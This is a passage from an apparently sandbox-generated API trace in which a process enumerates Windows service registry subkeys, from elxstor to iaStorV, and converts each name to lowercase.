lpUsedDefaultChar=0x0) returned 7 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0220.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0220.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0220.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0220.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0220.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0220.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0220.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0220.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0220.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0220.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0220.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0220.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0220.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a48, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0220.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0220.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0220.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0220.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0220.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0220.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0220.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0220.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0220.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f16e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0220.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0220.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0220.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0220.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0220.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0220.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0220.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0220.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0220.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0220.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0220.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0220.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0220.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0220.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0220.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0220.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, 